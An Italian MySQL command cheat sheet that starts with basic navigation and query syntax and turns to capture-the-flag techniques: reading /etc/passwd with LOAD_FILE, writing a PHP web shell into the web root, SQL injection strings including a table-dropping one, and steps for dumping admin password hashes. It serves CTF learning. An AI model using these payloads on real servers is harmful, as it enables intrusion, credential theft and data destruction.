tags: database Comandi_Fondamentali_Database
COMANDI FONDAMENTALI MYSQL
🔍 NAVIGAZIONE E ESPLORAZIONE
-- Mostra tutti i database
SHOW DATABASES;
-- Usa un database specifico
USE nome_database;
-- Mostra tutte le tabelle nel database corrente
SHOW TABLES;
-- Descrive la struttura di una tabella
DESCRIBE nome_tabella;
-- Oppure
DESC nome_tabella;
SHOW COLUMNS FROM nome_tabella;📊 INTERROGAZIONE DATI
-- Seleziona tutti i dati da una tabella
SELECT * FROM nome_tabella;
-- Seleziona colonne specifiche
SELECT colonna1, colonna2 FROM nome_tabella;
-- Con condizioni WHERE
SELECT * FROM nome_tabella WHERE condizione;
-- Con LIMITE di risultati
SELECT * FROM nome_tabella LIMIT 10;
-- Ordinamento
SELECT * FROM nome_tabella ORDER BY colonna ASC/DESC;🛠️ MANIPOLAZIONE DATI
-- Inserire dati
INSERT INTO nome_tabella (colonna1, colonna2) VALUES (valore1, valore2);
-- Aggiornare dati
UPDATE nome_tabella SET colonna1 = valore1 WHERE condizione;
-- Esempio di aggiornamento dati
UPDATE runcheck SET run = 1;
-- Eliminare dati
DELETE FROM nome_tabella WHERE condizione;🔎 INFORMAZIONI DI SISTEMA
-- Versione MySQL
SELECT VERSION();
-- Utente corrente
SELECT USER();
-- Privilegi utente
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER;
-- Processi in esecuzione
SHOW PROCESSLIST;
📁 OPERAZIONI SU FILE (se privilegi sufficienti)
-- Leggere file di sistema
SELECT LOAD_FILE('/etc/passwd');
-- Scrivere file sul server
SELECT 'contenuto' INTO OUTFILE '/path/file.txt';
-- Scrivere shell PHP
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';🎯 QUERY UTILI PER CTF
-- Cercare tabelle che potrebbero contenere credenziali
SELECT table_name FROM information_schema.tables
WHERE table_schema = 'nome_database'
AND table_name LIKE '%user%' OR table_name LIKE '%pass%';
-- Vedere tutte le colonne di tutte le tabelle
SELECT table_name, column_name FROM information_schema.columns
WHERE table_schema = 'nome_database';
-- Dump di una tabella utenti
SELECT * FROM users;
SELECT username, password FROM admin;🚨 IMPORTANTE PER CTF
-- Verifica se puoi scrivere file
SELECT @@secure_file_priv;
-- Se restituisce NULL o percorso, hai privilegi di scrittura
-- Provare diverse injection
' OR '1'='1
' UNION SELECT 1,2,3--
'; DROP TABLE users--💾 ESEMPIO COMPLETO DI ENUMERAZIONE
-- 1. Lista database
SHOW DATABASES;
-- 2. Entra in un database sospetto
USE webapp;
-- 3. Lista tabelle
SHOW TABLES;
-- 4. Descrivi struttura tabella
DESCRIBE users;
-- 5. Leggi i dati
SELECT * FROM users;
-- 6. Cerca hash password
SELECT username, password FROM users WHERE username = 'admin';🎪 ESCI E AIUTO
-- Uscire da MySQL
EXIT;
QUIT;
\q
-- Aiuto
HELP;